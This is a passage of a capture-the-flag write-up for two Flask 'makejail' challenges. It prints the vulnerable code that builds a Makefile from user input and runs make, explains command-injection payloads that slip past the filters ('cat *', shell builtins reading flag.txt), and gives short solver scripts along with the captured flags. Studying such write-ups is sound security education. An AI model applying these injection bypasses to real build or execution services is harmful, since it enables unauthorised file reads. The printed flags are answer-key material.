51 sp = subprocess . run ([ 'make' ], capture_output = True , cwd = run_dir )
52 return f """
53 <h1>stdout:</h1>
54 { sp . stdout }
55 <h1>stderr:</h1>
56 { sp . stderr }
57 """
58
59 app . run ( 'localhost' , 8000 )
If we take look at the source-code it’s allows to create a Makefile with a target and a command, and then runs make in a temporary directory containing a flag file. And then checks for the presence of newline characters and the string flag
in the command to prevent from reading the flag file directly. However, it doesn’t prevent from using other commands or environment variables.
One possible solution is to use the cat command with a wildcard (*) instead of the filename. This will read all files in the directory, including the flag file.
Final solver automation:
1 import requests
2 import re
3
4 data = {
5 'name' : 'target' ,
6 'code' : 'cat *'
7 }
8
9 response = requests . post ( 'https://madesense-okntin33tq-ul.a.run.app/make' , data = data )
10 flag = re . findall ( r 'wctf{.*}' , response . text )
11
12 print ( flag )
FLAG wctf{m4k1ng_vuln3r4b1l1t135}
Made Functional# Overview Author: doubledelete
Description: the second makejail
https://madefunctional-okntin33tq-ul.a.run.app/
And the last but not least is same Misc PyJail/MakeJail challenge Made Functional
, written using the Flask.
1 import os
2 from pathlib import Path
3 import re
4 import subprocess
5 import tempfile
6
7 from flask import Flask , request , send_file
8
9 app = Flask ( __name__ )
10 flag = open ( 'flag.txt' ) . read ()
11
12 def write_flag ( path ):
13 with open ( path / 'flag.txt' , 'w' ) as f :
14 f . write ( flag )
15
16 def generate_makefile ( name , content , path ):
17 with open ( path / 'Makefile' , 'w' ) as f :
18 f . write ( f """
19 SHELL := env PATH= /bin/bash
20 .PHONY: { name }
21 { name } : flag.txt
22 \t { content }
23 """ )
24
25 @app.route ( '/' , methods = [ 'GET' ])
26 def index ():
27 return send_file ( 'index.html' )
28
29 @app.route ( '/src/' , methods = [ 'GET' ])
30 def src ():
31 return send_file ( __file__ )
32
33 # made functional
34 @app.route ( '/make' , methods = [ 'POST' ])
35 def make ():
36 target_name = request . form . get ( 'name' )
37 code = request . form . get ( 'code' )
38
39 print ( code )
40 if not re . fullmatch ( r '[A-Za-z0-9]+' , target_name ):
41 return 'no'
42 if ' \n ' in code :
43 return 'no'
44 if re . search ( r '/' , code ):
45 return 'no'
46
47 with tempfile . TemporaryDirectory () as dir :
48 run_dir = Path ( dir )
49 write_flag ( run_dir )
50 generate_makefile ( target_name , code , run_dir )
51 sp = subprocess . run ([ 'make' ], capture_output = True , cwd = run_dir )
52 return f """
53 <h1>stdout:</h1>
54 { sp . stdout }
55 <h1>stderr:</h1>
56 { sp . stderr }
57 """
58
59 app . run ( 'localhost' , 8000 )
From the source it allows to create a Makefile with a target that executes some code when the target is built and it’s a same vuln. The SHELL
variable in the Makefile is set to env PATH= /bin/bash
, which means that the PATH
environment variable is set to an empty string when the shell command is executed. This means that the shell will not be able to find any executables in the PATH
, so it will only execute commands that are defined in the Makefile itself.
first I simply using:
name = "readflag"
code = "< flag.txt"
It seems like the command < flag.txt
was executed, but it didn’t produce any output. This is because the <
operator is used for input redirection, and it needs a command to provide input to.
Unfortunately, we’re limited by the fact that we can’t use slashes, and most commands are located in directories that require a slash to access (like /bin
or /usr/bin
).
However, we can take advantage of the fact that Makefiles allow for multiple lines in the command section if they are separated by semicolons. We can use this feature to first assign the content of the flag file to a variable, and then echo that variable:
name = "readflag"
code = "read -r FLAG < flag.txt; echo $$FLAG"
Final solver automation:
1 import requests
2 import re
3
4 data = {
5 'name' : 'readflag' ,
6 'code' : 'read -r FLAG < flag.txt; echo $$FLAG'
7 }
8
9 response = requests . post ( 'https://madefunctional-okntin33tq-ul.a.run.app/make' , data = data )
10 flag = re . findall ( r 'wctf{.*}' , response . text )
11
12 print ( flag )
FLAG wctf{m4k1ng_f1l3s}